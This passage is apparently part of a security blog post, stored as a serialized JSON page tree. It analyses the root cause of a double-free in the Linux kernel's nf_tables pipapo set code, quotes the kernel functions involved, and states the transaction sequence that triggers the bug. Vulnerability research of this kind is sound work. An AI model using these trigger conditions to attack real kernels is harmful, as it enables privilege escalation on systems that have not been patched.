",{"type":26,"tag":217,"props":106521,"children":106522},{"style":7149},[106523],{"type":32,"value":3540},{"type":26,"tag":217,"props":106525,"children":106526},{"style":7130},[106527],{"type":32,"value":9742},{"type":26,"tag":217,"props":106529,"children":106530},{"style":7048},[106531],{"type":32,"value":68283},{"type":26,"tag":217,"props":106533,"children":106534},{"style":7054},[106535],{"type":32,"value":2400},{"type":26,"tag":217,"props":106537,"children":106538},{"style":7149},[106539],{"type":32,"value":11680},{"type":26,"tag":217,"props":106541,"children":106542},{"style":7054},[106543],{"type":32,"value":28564},{"type":26,"tag":217,"props":106545,"children":106546},{"style":7048},[106547],{"type":32,"value":10115},{"type":26,"tag":217,"props":106549,"children":106550},{"style":7054},[106551],{"type":32,"value":106514},{"type":26,"tag":217,"props":106553,"children":106554},{"style":7048},[106555],{"type":32,"value":106556},"[r].",{"type":26,"tag":217,"props":106558,"children":106559},{"style":7054},[106560],{"type":32,"value":2400},{"type":26,"tag":217,"props":106562,"children":106563},{"style":7048},[106564],{"type":32,"value":10025},{"type":26,"tag":217,"props":106566,"children":106567},{"class":7028,"line":7672},[106568,106573],{"type":26,"tag":217,"props":106569,"children":106570},{"style":7042},[106571],{"type":32,"value":106572},"   continue",{"type":26,"tag":217,"props":106574,"children":106575},{"style":7048},[106576],{"type":32,"value":7162},{"type":26,"tag":217,"props":106578,"children":106579},{"class":7028,"line":7681},[106580],{"type":26,"tag":217,"props":106581,"children":106582},{"emptyLinePlaceholder":17},[106583],{"type":32,"value":7817},{"type":26,"tag":217,"props":106585,"children":106586},{"class":7028,"line":7754},[106587,106592,106596,106600,106604,106608,106612,106616],{"type":26,"tag":217,"props":106588,"children":106589},{"style":7048},[106590],{"type":32,"value":106591},"  e ",{"type":26,"tag":217,"props":106593,"children":106594},{"style":7149},[106595],{"type":32,"value":267},{"type":26,"tag":217,"props":106597,"children":106598},{"style":7054},[106599],{"type":32,"value":28564},{"type":26,"tag":217,"props":106601,"children":106602},{"style":7048},[106603],{"type":32,"value":10115},{"type":26,"tag":217,"props":106605,"children":106606},{"style":7054},[106607],{"type":32,"value":106514},{"type":26,"tag":217,"props":106609,"children":106610},{"style":7048},[106611],{"type":32,"value":106556},{"type":26,"tag":217,"props":106613,"children":106614},{"style":7054},[106615],{"type":32,"value":2400},{"type":26,"tag":217,"props":106617,"children":106618},{"style":7048},[106619],{"type":32,"value":7162},{"type":26,"tag":217,"props":106621,"children":106622},{"class":7028,"line":7784},[106623],{"type":26,"tag":217,"props":106624,"children":106625},{"emptyLinePlaceholder":17},[106626],{"type":32,"value":7817},{"type":26,"tag":217,"props":106628,"children":106629},{"class":7028,"line":7802},[106630,106635,106640,106644,106648,106652,106657],{"type":26,"tag":217,"props":106631,"children":106632},{"style":7064},[106633],{"type":32,"value":106634},"  nf_tables_set_elem_destroy",{"type":26,"tag":217,"props":106636,"children":106637},{"style":7048},[106638],{"type":32,"value":106639},"(ctx, set, ",{"type":26,"tag":217,"props":106641,"children":106642},{"style":7149},[106643],{"type":32,"value":9804},{"type":26,"tag":217,"props":106645,"children":106646},{"style":7054},[106647],{"type":32,"value":2400},{"type":26,"tag":217,"props":106649,"children":106650},{"style":7048},[106651],{"type":32,"value":10115},{"type":26,"tag":217,"props":106653,"children":106654},{"style":7054},[106655],{"type":32,"value":106656},"priv",{"type":26,"tag":217,"props":106658,"children":106659},{"style":7048},[106660],{"type":32,"value":7669},{"type":26,"tag":217,"props":106662,"children":106663},{"class":7028,"line":7811},[106664],{"type":26,"tag":217,"props":106665,"children":106666},{"style":7048},[106667],{"type":32,"value":65351},{"type":26,"tag":217,"props":106669,"children":106670},{"class":7028,"line":7820},[106671],{"type":26,"tag":217,"props":106672,"children":106673},{"style":7048},[106674],{"type":32,"value":7184},{"type":26,"tag":39,"props":106676,"children":106677},{},[106678,106680,106686,106688,106693],{"type":32,"value":106679},"Which will then ",{"type":26,"tag":83,"props":106681,"children":106683},{"className":106682},[],[106684],{"type":32,"value":106685},"kfree()",{"type":32,"value":106687}," the ",{"type":26,"tag":83,"props":106689,"children":106691},{"className":106690},[],[106692],{"type":32,"value":106099},{"type":32,"value":180},{"type":26,"tag":207,"props":106695,"children":106697},{"className":9574,"code":106696,"language":2255,"meta":8,"style":8},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[106698],{"type":26,"tag":83,"props":106699,"children":106700},{"__ignoreMap":8},[106701,106741,106768,106797,106804,106839,106846,106867,106890,106897,106910],{"type":26,"tag":217,"props":106702,"children":106703},{"class":7028,"line":7029},[106704,106708,106713,106717,106721,106725,106729,106733,106737],{"type":26,"tag":217,"props":106705,"children":106706},{"style":7154},[106707],{"type":32,"value":35543},{"type":26,"tag":217,"props":106709,"children":106710},{"style":7064},[106711],{"type":32,"value":106712}," nf_tables_set_elem_destroy",{"type":26,"tag":217,"props":106714,"children":106715},{"style":7048},[106716],{"type":32,"value":1851},{"type":26,"tag":217,"props":106718,"children":106719},{"style":7154},[106720],{"type":32,"value":74748},{"type":26,"tag":217,"props":106722,"children":106723},{"style":7154},[106724],{"type":32,"value":77038},{"type":26,"tag":217,"props":106726,"children":106727},{"style":7048},[106728],{"type":32,"value":106157},{"type":26,"tag":217,"props":106730,"children":106731},{"style":7149},[106732],{"type":32,"value":10006},{"type":26,"tag":217,"props":106734,"children":106735},{"style":7054},[106736],{"type":32,"value":79895},{"type":26,"tag":217,"props":106738,"children":106739},{"style":7048},[106740],{"type":32,"value":10953},{"type":26,"tag":217,"props":106742,"children":106743},{"class":7028,"line":6770},[106744,106748,106752,106756,106760,106764],{"type":26,"tag":217,"props":106745,"children":106746},{"style":7154},[106747],{"type":32,"value":66839},{"type":26,"tag":217,"props":106749,"children":106750},{"style":7154},[106751],{"type":32,"value":77038},{"type":26,"tag":217,"props":106753,"children":106754},{"style":7048},[106755],{"type":32,"value":106185},{"type":26,"tag":217,"props":106757,"children":106758},{"style":7149},[106759],{"type":32,"value":10006},{"type":26,"tag":217,"props":106761,"children":106762},{"style":7054},[106763],{"type":32,"value":106107},{"type":26,"tag":217,"props":106765,"children":106766},{"style":7048},[106767],{"type":32,"value":10953},{"type":26,"tag":217,"props":106769,"children":106770},{"class":7028,"line":6779},[106771,106775,106779,106784,106788,106793],{"type":26,"tag":217,"props":106772,"children":106773},{"style":7154},[106774],{"type":32,"value":66839},{"type":26,"tag":217,"props":106776,"children":106777},{"style":7154},[106778],{"type":32,"value":77038},{"type":26,"tag":217,"props":106780,"children":106781},{"style":7048},[106782],{"type":32,"value":106783}," nft_elem_priv ",{"type":26,"tag":217,"props":106785,"children":106786},{"style":7149},[106787],{"type":32,"value":10006},{"type":26,"tag":217,"props":106789,"children":106790},{"style":7054},[106791],{"type":32,"value":106792},"elem_priv",{"type":26,"tag":217,"props":106794,"children":106795},{"style":7048},[106796],{"type":32,"value":10025},{"type":26,"tag":217,"props":106798,"children":106799},{"class":7028,"line":7140},[106800],{"type":26,"tag":217,"props":106801,"children":106802},{"style":7048},[106803],{"type":32,"value":10033},{"type":26,"tag":217,"props":106805,"children":106806},{"class":7028,"line":7165},[106807,106811,106816,106820,106825,106829,106834],{"type":26,"tag":217,"props":106808,"children":106809},{"style":7154},[106810],{"type":32,"value":77038},{"type":26,"tag":217,"props":106812,"children":106813},{"style":7048},[106814],{"type":32,"value":106815}," nft_set_ext ",{"type":26,"tag":217,"props":106817,"children":106818},{"style":7149},[106819],{"type":32,"value":10006},{"type":26,"tag":217,"props":106821,"children":106822},{"style":7048},[106823],{"type":32,"value":106824},"ext ",{"type":26,"tag":217,"props":106826,"children":106827},{"style":7149},[106828],{"type":32,"value":267},{"type":26,"tag":217,"props":106830,"children":106831},{"style":7064},[106832],{"type":32,"value":106833}," nft_set_elem_ext",{"type":26,"tag":217,"props":106835,"children":106836},{"style":7048},[106837],{"type":32,"value":106838},"(set, elem_priv);\n",{"type":26,"tag":217,"props":106840,"children":106841},{"class":7028,"line":7178},[106842],{"type":26,"tag":217,"props":106843,"children":106844},{"emptyLinePlaceholder":17},[106845],{"type":32,"value":7817},{"type":26,"tag":217,"props":106847,"children":106848},{"class":7028,"line":7389},[106849,106853,106857,106862],{"type":26,"tag":217,"props":106850,"children":106851},{"style":7042},[106852],{"type":32,"value":60711},{"type":26,"tag":217,"props":106854,"children":106855},{"style":7048},[106856],{"type":32,"value":7051},{"type":26,"tag":217,"props":106858,"children":106859},{"style":7064},[106860],{"type":32,"value":106861},"nft_set_ext_exists",{"type":26,"tag":217,"props":106863,"children":106864},{"style":7048},[106865],{"type":32,"value":106866},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":26,"tag":217,"props":106868,"children":106869},{"class":7028,"line":7406},[106870,106875,106880,106885],{"type":26,"tag":217,"props":106871,"children":106872},{"style":7064},[106873],{"type":32,"value":106874},"  nft_set_elem_expr_destroy",{"type":26,"tag":217,"props":106876,"children":106877},{"style":7048},[106878],{"type":32,"value":106879},"(ctx, ",{"type":26,"tag":217,"props":106881,"children":106882},{"style":7064},[106883],{"type":32,"value":106884},"nft_set_ext_expr",{"type":26,"tag":217,"props":106886,"children":106887},{"style":7048},[106888],{"type":32,"value":106889},"(ext));\n",{"type":26,"tag":217,"props":106891,"children":106892},{"class":7028,"line":7439},[106893],{"type":26,"tag":217,"props":106894,"children":106895},{"emptyLinePlaceholder":17},[106896],{"type":32,"value":7817},{"type":26,"tag":217,"props":106898,"children":106899},{"class":7028,"line":7487},[106900,106905],{"type":26,"tag":217,"props":106901,"children":106902},{"style":7064},[106903],{"type":32,"value":106904}," kfree",{"type":26,"tag":217,"props":106906,"children":106907},{"style":7048},[106908],{"type":32,"value":106909},"(elem_priv);\n",{"type":26,"tag":217,"props":106911,"children":106912},{"class":7028,"line":7524},[106913],{"type":26,"tag":217,"props":106914,"children":106915},{"style":7048},[106916],{"type":32,"value":7184},{"type":26,"tag":39,"props":106918,"children":106919},{},[106920,106921,106927,106929,106934,106936,106941,106943,106948,106949,106954,106956,106961,106963,106968,106970,106975],{"type":32,"value":475},{"type":26,"tag":83,"props":106922,"children":106924},{"className":106923},[],[106925],{"type":32,"value":106926},"nft_pipapo_match",{"type":32,"value":106928}," objects contain views of the ",{"type":26,"tag":83,"props":106930,"children":106932},{"className":106931},[],[106933],{"type":32,"value":106099},{"type":32,"value":106935},"'s of a ",{"type":26,"tag":83,"props":106937,"children":106939},{"className":106938},[],[106940],{"type":32,"value":106107},{"type":32,"value":106942},". The difference between the ",{"type":26,"tag":83,"props":106944,"children":106946},{"className":106945},[],[106947],{"type":32,"value":106084},{"type":32,"value":1308},{"type":26,"tag":83,"props":106950,"children":106952},{"className":106951},[],[106953],{"type":32,"value":106068},{"type":32,"value":106955}," match objects is that the clone has a view of not only already committed ",{"type":26,"tag":83,"props":106957,"children":106959},{"className":106958},[],[106960],{"type":32,"value":106099},{"type":32,"value":106962},"'s that the \"normal\" one has but also a view of the ",{"type":26,"tag":83,"props":106964,"children":106966},{"className":106965},[],[106967],{"type":32,"value":106099},{"type":32,"value":106969},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":26,"tag":83,"props":106971,"children":106973},{"className":106972},[],[106974],{"type":32,"value":106084},{"type":32,"value":180},{"type":26,"tag":607,"props":106977,"children":106979},{"id":106978},"root-cause-analysis",[106980],{"type":32,"value":106981},"Root-cause analysis",{"type":26,"tag":39,"props":106983,"children":106984},{},[106985,106987,106993,106995,107000],{"type":32,"value":106986},"So ",{"type":26,"tag":83,"props":106988,"children":106990},{"className":106989},[],[106991],{"type":32,"value":106992},"nf_tables_set_elem_destroy",{"type":32,"value":106994}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":26,"tag":83,"props":106996,"children":106998},{"className":106997},[],[106999],{"type":32,"value":106099},{"type":32,"value":107001},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":26,"tag":39,"props":107003,"children":107004},{},[107005,107007,107012,107014,107019,107021,107026,107028,107033,107035,107040],{"type":32,"value":107006},"We should now try to understand how to reach that path with the ",{"type":26,"tag":83,"props":107008,"children":107010},{"className":107009},[],[107011],{"type":32,"value":106061},{"type":32,"value":107013}," flag set, which is a member of the private data of a pipapo ",{"type":26,"tag":83,"props":107015,"children":107017},{"className":107016},[],[107018],{"type":32,"value":106099},{"type":32,"value":107020}," that becomes true whenever a change is made to the ",{"type":26,"tag":83,"props":107022,"children":107024},{"className":107023},[],[107025],{"type":32,"value":106107},{"type":32,"value":107027}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":26,"tag":83,"props":107029,"children":107031},{"className":107030},[],[107032],{"type":32,"value":106107},{"type":32,"value":107034}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":26,"tag":83,"props":107036,"children":107038},{"className":107037},[],[107039],{"type":32,"value":106107},{"type":32,"value":107041}," dirty by inserting a new element.",{"type":26,"tag":207,"props":107043,"children":107045},{"className":9574,"code":107044,"language":2255,"meta":8,"style":8},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[107046],{"type":26,"tag":83,"props":107047,"children":107048},{"__ignoreMap":8},[107049,107119,107147,107172,107179,107186,107215,107222],{"type":26,"tag":217,"props":107050,"children":107051},{"class":7028,"line":7029},[107052,107056,107060,107065,107069,107073,107077,107082,107086,107091,107095,107099,107103,107107,107111,107115],{"type":26,"tag":217,"props":107053,"children":107054},{"style":7154},[107055],{"type":32,"value":9987},{"type":26,"tag":217,"props":107057,"children":107058},{"style":7154},[107059],{"type":32,"value":106257},{"type":26,"tag":217,"props":107061,"children":107062},{"style":7064},[107063],{"type":32,"value":107064}," nft_pipapo_insert",{"type":26,"tag":217,"props":107066,"children":107067},{"style":7048},[107068],{"type":32,"value":1851},{"type":26,"tag":217,"props":107070,"children":107071},{"style":7154},[107072],{"type":32,"value":74748},{"type":26,"tag":217,"props":107074,"children":107075},{"style":7154},[107076],{"type":32,"value":77038},{"type":26,"tag":217,"props":107078,"children":107079},{"style":7048},[107080],{"type":32,"value":107081}," net ",{"type":26,"tag":217,"props":107083,"children":107084},{"style":7149},[107085],{"type":32,"value":10006},{"type":26,"tag":217,"props":107087,"children":107088},{"style":7054},[107089],{"type":32,"value":107090},"net",{"type":26,"tag":217,"props":107092,"children":107093},{"style":7048},[107094],{"type":32,"value":7599},{"type":26,"tag":217,"props":107096,"children":107097},{"style":7154},[107098],{"type":32,"value":74748},{"type":26,"tag":217,"props":107100,"children":107101},{"style":7154},[107102],{"type":32,"value":77038},{"type":26,"tag":217,"props":107104,"children":107105},{"style":7048},[107106],{"type":32,"value":106185},{"type":26,"tag":217,"props":107108,"children":107109},{"style":7149},[107110],{"type":32,"value":10006},{"type":26,"tag":217,"props":107112,"children":107113},{"style":7054},[107114],{"type":32,"value":106107},{"type":26,"tag":217,"props":107116,"children":107117},{"style":7048},[107118],{"type":32,"value":10953},{"type":26,"tag":217,"props":107120,"children":107121},{"class":7028,"line":6770},[107122,107126,107130,107135,107139,107143],{"type":26,"tag":217,"props":107123,"children":107124},{"style":7154},[107125],{"type":32,"value":95865},{"type":26,"tag":217,"props":107127,"children":107128},{"style":7154},[107129],{"type":32,"value":77038},{"type":26,"tag":217,"props":107131,"children":107132},{"style":7048},[107133],{"type":32,"value":107134}," nft_set_elem ",{"type":26,"tag":217,"props":107136,"children":107137},{"style":7149},[107138],{"type":32,"value":10006},{"type":26,"tag":217,"props":107140,"children":107141},{"style":7054},[107142],{"type":32,"value":34846},{"type":26,"tag":217,"props":107144,"children":107145},{"style":7048},[107146],{"type":32,"value":10953},{"type":26,"tag":217,"props":107148,"children":107149},{"class":7028,"line":6779},[107150,107155,107159,107164,107168],{"type":26,"tag":217,"props":107151,"children":107152},{"style":7154},[107153],{"type":32,"value":107154},"        struct",{"type":26,"tag":217,"props":107156,"children":107157},{"style":7048},[107158],{"type":32,"value":106783},{"type":26,"tag":217,"props":107160,"children":107161},{"style":7149},[107162],{"type":32,"value":107163},"**",{"type":26,"tag":217,"props":107165,"children":107166},{"style":7054},[107167],{"type":32,"value":106792},{"type":26,"tag":217,"props":107169,"children":107170},{"style":7048},[107171],{"type":32,"value":10025},{"type":26,"tag":217,"props":107173,"children":107174},{"class":7028,"line":7140},[107175],{"type":26,"tag":217,"props":107176,"children":107177},{"style":7048},[107178],{"type":32,"value":10033},{"type":26,"tag":217,"props":107180,"children":107181},{"class":7028,"line":7165},[107182],{"type":26,"tag":217,"props":107183,"children":107184},{"style":7048},[107185],{"type":32,"value":59466},{"type":26,"tag":217,"props":107187,"children":107188},{"class":7028,"line":7178},[107189,107194,107198,107203,107207,107211],{"type":26,"tag":217,"props":107190,"children":107191},{"style":7054},[107192],{"type":32,"value":107193}," priv",{"type":26,"tag":217,"props":107195,"children":107196},{"style":7048},[107197],{"type":32,"value":10115},{"type":26,"tag":217,"props":107199,"children":107200},{"style":7054},[107201],{"type":32,"value":107202},"dirty",{"type":26,"tag":217,"props":107204,"children":107205},{"style":7149},[107206],{"type":32,"value":8993},{"type":26,"tag":217,"props":107208,"children":107209},{"style":7154},[107210],{"type":32,"value":7902},{"type":26,"tag":217,"props":107212,"children":107213},{"style":7048},[107214],{"type":32,"value":7162},{"type":26,"tag":217,"props":107216,"children":107217},{"class":7028,"line":7389},[107218],{"type":26,"tag":217,"props":107219,"children":107220},{"style":7048},[107221],{"type":32,"value":59466},{"type":26,"tag":217,"props":107223,"children":107224},{"class":7028,"line":7406},[107225],{"type":26,"tag":217,"props":107226,"children":107227},{"style":7048},[107228],{"type":32,"value":7184},{"type":26,"tag":39,"props":107230,"children":107231},{},[107232],{"type":32,"value":107233},"We also see that when the changes are commited, this flag is then unset.",{"type":26,"tag":207,"props":107235,"children":107237},{"className":9574,"code":107236,"language":2255,"meta":8,"style":8},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[107238],{"type":26,"tag":83,"props":107239,"children":107240},{"__ignoreMap":8},[107241,107281,107288,107295,107326,107337,107344,107371,107378],{"type":26,"tag":217,"props":107242,"children":107243},{"class":7028,"line":7029},[107244,107248,107252,107257,107261,107265,107269,107273,107277],{"type":26,"tag":217,"props":107245,"children":107246},{"style":7154},[107247],{"type":32,"value":9987},{"type":26,"tag":217,"props":107249,"children":107250},{"style":7154},[107251],{"type":32,"value":8936},{"type":26,"tag":217,"props":107253,"children":107254},{"style":7064},[107255],{"type":32,"value":107256}," nft_pipapo_commit",{"type":26,"tag":217,"props":107258,"children":107259},{"style":7048},[107260],{"type":32,"value":1851},{"type":26,"tag":217,"props":107262,"children":107263},{"style":7154},[107264],{"type":32,"value":12224},{"type":26,"tag":217,"props":107266,"children":107267},{"style":7048},[107268],{"type":32,"value":106185},{"type":26,"tag":217,"props":107270,"children":107271},{"style":7149},[107272],{"type":32,"value":10006},{"type":26,"tag":217,"props":107274,"children":107275},{"style":7054},[107276],{"type":32,"value":106107},{"type":26,"tag":217,"props":107278,"children":107279},{"style":7048},[107280],{"type":32,"value":10025},{"type":26,"tag":217,"props":107282,"children":107283},{"class":7028,"line":6770},[107284],{"type":26,"tag":217,"props":107285,"children":107286},{"style":7048},[107287],{"type":32,"value":10033},{"type":26,"tag":217,"props":107289,"children":107290},{"class":7028,"line":6779},[107291],{"type":26,"tag":217,"props":107292,"children":107293},{"style":7048},[107294],{"type":32,"value":59466},{"type":26,"tag":217,"props":107296,"children":107297},{"class":7028,"line":7140},[107298,107302,107306,107310,107314,107318,107322],{"type":26,"tag":217,"props":107299,"children":107300},{"style":7042},[107301],{"type":32,"value":60711},{"type":26,"tag":217,"props":107303,"children":107304},{"style":7048},[107305],{"type":32,"value":7051},{"type":26,"tag":217,"props":107307,"children":107308},{"style":7149},[107309],{"type":32,"value":11704},{"type":26,"tag":217,"props":107311,"children":107312},{"style":7054},[107313],{"type":32,"value":106656},{"type":26,"tag":217,"props":107315,"children":107316},{"style":7048},[107317],{"type":32,"value":10115},{"type":26,"tag":217,"props":107319,"children":107320},{"style":7054},[107321],{"type":32,"value":107202},{"type":26,"tag":217,"props":107323,"children":107324},{"style":7048},[107325],{"type":32,"value":10025},{"type":26,"tag":217,"props":107327,"children":107328},{"class":7028,"line":7165},[107329,107333],{"type":26,"tag":217,"props":107330,"children":107331},{"style":7042},[107332],{"type":32,"value":67696},{"type":26,"tag":217,"props":107334,"children":107335},{"style":7048},[107336],{"type":32,"value":7162},{"type":26,"tag":217,"props":107338,"children":107339},{"class":7028,"line":7178},[107340],{"type":26,"tag":217,"props":107341,"children":107342},{"style":7048},[107343],{"type":32,"value":59466},{"type":26,"tag":217,"props":107345,"children":107346},{"class":7028,"line":7389},[107347,107351,107355,107359,107363,107367],{"type":26,"tag":217,"props":107348,"children":107349},{"style":7054},[107350],{"type":32,"value":107193},{"type":26,"tag":217,"props":107352,"children":107353},{"style":7048},[107354],{"type":32,"value":10115},{"type":26,"tag":217,"props":107356,"children":107357},{"style":7054},[107358],{"type":32,"value":107202},{"type":26,"tag":217,"props":107360,"children":107361},{"style":7149},[107362],{"type":32,"value":8993},{"type":26,"tag":217,"props":107364,"children":107365},{"style":7154},[107366],{"type":32,"value":7795},{"type":26,"tag":217,"props":107368,"children":107369},{"style":7048},[107370],{"type":32,"value":7162},{"type":26,"tag":217,"props":107372,"children":107373},{"class":7028,"line":7406},[107374],{"type":26,"tag":217,"props":107375,"children":107376},{"style":7048},[107377],{"type":32,"value":59466},{"type":26,"tag":217,"props":107379,"children":107380},{"class":7028,"line":7439},[107381],{"type":26,"tag":217,"props":107382,"children":107383},{"style":7048},[107384],{"type":32,"value":7184},{"type":26,"tag":39,"props":107386,"children":107387},{},[107388,107390,107395,107397,107402,107404,107409,107411,107416,107418,107424,107426,107432,107434,107439],{"type":32,"value":107389},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":26,"tag":83,"props":107391,"children":107393},{"className":107392},[],[107394],{"type":32,"value":106099},{"type":32,"value":107396}," in the ",{"type":26,"tag":83,"props":107398,"children":107400},{"className":107399},[],[107401],{"type":32,"value":106107},{"type":32,"value":107403}," to make it dirty and then delete the ",{"type":26,"tag":83,"props":107405,"children":107407},{"className":107406},[],[107408],{"type":32,"value":106107},{"type":32,"value":107410},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":26,"tag":83,"props":107412,"children":107414},{"className":107413},[],[107415],{"type":32,"value":106107},{"type":32,"value":107417},"'s ",{"type":26,"tag":83,"props":107419,"children":107421},{"className":107420},[],[107422],{"type":32,"value":107423},"->commit()",{"type":32,"value":107425}," method is executed before its ",{"type":26,"tag":83,"props":107427,"children":107429},{"className":107428},[],[107430],{"type":32,"value":107431},"->destroy()",{"type":32,"value":107433}," method, then the ",{"type":26,"tag":83,"props":107435,"children":107437},{"className":107436},[],[107438],{"type":32,"value":107202},{"type":32,"value":107440}," flag will be unset, and we won't be able to trigger the double-free.",{"type":26,"tag":39,"props":107442,"children":107443},{},[107444],{"type":32,"value":107445},"Let's once again refer to the code and see how these methods are called.",{"type":26,"tag":207,"props":107447,"children":107449},{"className":9574,"code":107448,"language":2255,"meta":8,"style":8},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[107450],{"type":26,"tag":83,"props":107451,"children":107452},{"__ignoreMap":8},[107453,107515,107522,107529,107537,107550,107585,107619,107661,107683,107695,107707,107714,107760,107801,107841,107854,107861,107868,107875,107882,107907,107914,107927,107934,107949],{"type":26,"tag":217,"props":107454,"children":107455},{"class":7028,"line":7029},[107456,107460,107464,107469,107473,107477,107481,107485,107489,107493,107497,107502,107506,107511],{"type":26,"tag":217,"props":107457,"children":107458},{"style":7154},[107459],{"type":32,"value":9987},{"type":26,"tag":217,"props":107461,"children":107462},{"style":7154},[107463],{"type":32,"value":106257},{"type":26,"tag":217,"props":107465,"children":107466},{"style":7064},[107467],{"type":32,"value":107468}," nf_tables_commit",{"type":26,"tag":217,"props":107470,"children":107471},{"style":7048},[107472],{"type":32,"value":1851},{"type":26,"tag":217,"props":107474,"children":107475},{"style":7154},[107476],{"type":32,"value":12224},{"type":26,"tag":217,"props":107478,"children":107479},{"style":7048},[107480],{"type":32,"value":107081},{"type":26,"tag":217,"props":107482,"children":107483},{"style":7149},[107484],{"type":32,"value":10006},{"type":26,"tag":217,"props":107486,"children":107487},{"style":7054},[107488],{"type":32,"value":107090},{"type":26,"tag":217,"props":107490,"children":107491},{"style":7048},[107492],{"type":32,"value":7599},{"type":26,"tag":217,"props":107494,"children":107495},{"style":7154},[107496],{"type":32,"value":12224},{"type":26,"tag":217,"props":107498,"children":107499},{"style":7048},[107500],{"type":32,"value":107501}," sk_buff ",{"type":26,"tag":217,"props":107503,"children":107504},{"style":7149},[107505],{"type":32,"value":10006},{"type":26,"tag":217,"props":107507,"children":107508},{"style":7054},[107509],{"type":32,"value":107510},"skb",{"type":26,"tag":217,"props":107512,"children":107513},{"style":7048},[107514],{"type":32,"value":10025},{"type":26,"tag":217,"props":107516,"children":107517},{"class":7028,"line":6770},[107518],{"type":26,"tag":217,"props":107519,"children":107520},{"style":7048},[107521],{"type":32,"value":10033},{"type":26,"tag":217,"props":107523,"children":107524},{"class":7028,"line":6779},[107525],{"type":26,"tag":217,"props":107526,"children":107527},{"style":7048},[107528],{"type":32,"value":59466},{"type":26,"tag":217,"props":107530,"children":107531},{"class":7028,"line":7140},[107532],{"type":26,"tag":217,"props":107533,"children":107534},{"style":7048},[107535],{"type":32,"value":107536},"  case NFT_MSG_DELSET:\n",{"type":26,"tag":217,"props":107538,"children":107539},{"class":7028,"line":7165},[107540,107545],{"type":26,"tag":217,"props":107541,"children":107542},{"style":7048},[107543],{"type":32,"value":107544},"  case NFT_MSG_DESTROYSET:",{"type":26,"tag":217,"props":107546,"children":107547},{"style":7033},[107548],{"type":32,"value":107549}," // [1]\n",{"type":26,"tag":217,"props":107551,"children":107552},{"class":7028,"line":7178},[107553,107558,107563,107568,107572,107576,107580],{"type":26,"tag":217,"props":107554,"children":107555},{"style":7064},[107556],{"type":32,"value":107557},"   nft_trans_set",{"type":26,"tag":217,"props":107559,"children":107560},{"style":7048},[107561],{"type":32,"value":107562},"(trans)->",{"type":26,"tag":217,"props":107564,"children":107565},{"style":7054},[107566],{"type":32,"value":107567},"dead",{"type":26,"tag":217,"props":107569,"children":107570},{"style":7149},[107571],{"type":32,"value":8993},{"type":26,"tag":217,"props":107573,"children":107574},{"style":7130},[107575],{"type":32,"value":9742},{"type":26,"tag":217,"props":107577,"children":107578},{"style":7048},[107579],{"type":32,"value":10289},{"type":26,"tag":217,"props":107581,"children":107582},{"style":7033},[107583],{"type":32,"value":107584}," // [2]\n",{"type":26,"tag":217,"props":107586,"children":107587},{"class":7028,"line":7389},[107588,107593,107597,107601,107606,107610,107615],{"type":26,"tag":217,"props":107589,"children":107590},{"style":7064},[107591],{"type":32,"value":107592},"   list_del_rcu",{"type":26,"tag":217,"props":107594,"children":107595},{"style":7048},[107596],{"type":32,"value":1851},{"type":26,"tag":217,"props":107598,"children":107599},{"style":7149},[107600],{"type":32,"value":9804},{"type":26,"tag":217,"props":107602,"children":107603},{"style":7064},[107604],{"type":32,"value":107605},"nft_trans_set",{"type":26,"tag":217,"props":107607,"children":107608},{"style":7048},[107609],{"type":32,"value":107562},{"type":26,"tag":217,"props":107611,"children":107612},{"style":7054},[107613],{"type":32,"value":107614},"list",{"type":26,"tag":217,"props":107616,"children":107617},{"style":7048},[107618],{"type":32,"value":7669},{"type":26,"tag":217,"props":107620,"children":107621},{"class":7028,"line":7406},[107622,107627,107631,107635,107640,107644,107648,107652,107656],{"type":26,"tag":217,"props":107623,"children":107624},{"style":7064},[107625],{"type":32,"value":107626},"   